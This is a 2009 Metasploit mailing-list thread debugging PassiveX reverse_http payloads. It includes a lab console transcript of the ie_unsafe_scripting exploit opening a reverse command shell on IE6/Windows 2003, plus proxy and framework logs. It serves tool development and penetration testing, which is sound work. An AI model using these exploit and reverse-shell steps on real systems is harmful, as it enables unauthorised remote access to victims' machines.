PassiveX payloads

[bogdan at generalconsult.ro (Bogdan)]

I think the problem is with all the PassiveX payloads, not only meterpreter.
I tried windows/shell/reverse_http and windows/meterpreter/reverse_http.
The packet capture that you mention, I posted it.
Compared to the earlier revision used in the post with the packet 
capture, now the error has moved to lib/msf/core/handler/passivex.rb in 
class PxSessionChannel at the flush_output function.
I am looking in the code to see why it throws an exception, but I am new 
to ruby and it might take a while.

Nathan Keltner wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> A couple of weeks ago someone pasted in details from a packet capture
> where you could see the output of commands being run being sent back
> from the meterpreter server (running on the target).
>
> I still haven't had time to play with this yet, but if that is the case,
> then this is likely a bug introduced by some of the recent meterpreter
> updates (maybe Stephen Fewer's patches accidentally broke something).
>
> If you want to take a look at it, try reverting to a version of SVN
> before r6347 and giving it another go.
>
> - -N
>
> Bogdan wrote:
>   
> > I have tried debugging the PassiveX payload. Here are the details:
> > metasploit from svn rev 6488 (updated Apr 16 2009).
> > I used the ie_unsafe_scripting exploit for testing.
> > Loglevel was set to 3.
> > The target was Internet Explorer 6 running on Windows 2003 SP2.
> >
> > The payload was windows/shell/reverse_http
> >
> > msf exploit(ie_unsafe_scripting) > exploit
> > [*] Exploit running as background job.
> > msf exploit(ie_unsafe_scripting) >
> > [*] PassiveX listener started.
> > [*] Using URL: http://172.16.52.179:8080/testuri
> > [*] Server started.
> > [*] Request received from 172.16.52.179:52559...
> > [*] Encoding payload into vbs/javascript/html...
> > [*] Sending exploit html/javascript to 172.16.52.179:52559...
> > [*] Exe will be uVKua.exe and must be manually removed from the %TEMP%
> > directory on the target.
> > [*] Sending PassiveX main page to client
> > [*] Command shell session 1 opened (Local Pipe -> Remote Pipe)
> > [*] Sending stage to sid 1 (474 bytes)
> >
> > msf exploit(ie_unsafe_scripting) > sessions -l
> >
> > Active sessions
> > ===============
> >
> >  Id  Description    Tunnel
> >  --  -----------    ------
> >  1   Command shell  Local Pipe -> Remote Pipe
> >
> > msf exploit(ie_unsafe_scripting) > sessions -i 1
> > [*] Starting interaction with 1...
> >
> >
> > dir
> > ^Z
> > Background session 1? [y/N]  y
> >
> > The exploit succedes and it creates a session, but when interracting
> > with it, there is no output to the commands.
> >
> >
> > Here are the lines from squid proxy logs:
> > 1239876195.772   4561 172.16.107.174 TCP_MISS/200 1092068 GET
> > http://172.16.52.179:8080/testuri - DIRECT/172.16.52.179 text/html
> > 1239876197.247    224 172.16.107.174 TCP_MISS/200 2693 GET
> > http://172.16.52.179:8081/testpx - DIRECT/172.16.52.179 text/html
> > 1239876197.753    206 172.16.107.174 TCP_MISS/200 699 GET
> > http://172.16.52.179:8081/testpx/stage - DIRECT/172.16.52.179 -
> > 1239876201.913   4151 172.16.107.174 TCP_MISS/000 0 GET
> > http://172.16.52.179:8081/testpx/tunnel_out - DIRECT/172.16.52.179 -
> >
> > As you can see the request for tunnel_out returns 0 bytes.
> >
> >
> > Here are the lines from framewok.log:
> > [04/16/2009 13:03:00] [d(2)] core: PassiveX listener started on
> > http://172.16.52.179:8081/testpx
> > [04/16/2009 13:03:40] [d(3)] core:
> > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8> Queuing
> > 1 to remote side
> > [04/16/2009 13:03:40] [d(3)] core:
> > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8> Flushing
> > remote output queue at 1 bytes
> > [04/16/2009 13:03:40] [d(0)] core:
> > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8>
> > Exception during remote queue flush: closed stream
> > [04/16/2009 13:03:41] [d(3)] core:
> > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8> Flushing
> > remote output queue at 1 bytes
> > [04/16/2009 13:03:41] [d(0)] core:
> > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8>
> > Exception during remote queue flush: closed stream
> > [04/16/2009 13:03:51] [d(3)] core:
> > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8> Queuing
> > 4 to remote side
> > [04/16/2009 13:03:51] [d(3)] core:
> > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8> Flushing
> > remote output queue at 5 bytes
> > [04/16/2009 13:03:51] [d(0)] core:
> > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8>
> > Exception during remote queue flush: closed stream
> > [04/16/2009 13:03:53] [d(3)] core:
> > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8> Flushing
> > remote output queue at 5 bytes
> > [04/16/2009 13:03:53] [d(0)] core:
> > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8>
> > Exception during remote queue flush: closed stream
> >
> >
> > I will try examining the source code to find the source of the problem.
> > Is anyone else using the PassiveX payloads with any success? If so let
> > us know.
> > I think the PassiveX payloads are very important because, as far as I
> > know, there are the only way to test a network located behind a proxy
> > server from the outside.
> >
> > Bogdan
> >
> > _______________________________________________
> > https://mail.metasploit.com/mailman/listinfo/framework
> >     
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v2.0.10-svn4880 (MingW32)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
> iEYEARECAAYFAknnIfMACgkQMQXR8VhB1pYRegCeM+m999vYkbRbOTWX4wnOwYMp
> nREAniWXoCYanI+vOy2aFo7tAdxcoMHB
> =iKBy
> -----END PGP SIGNATURE-----
>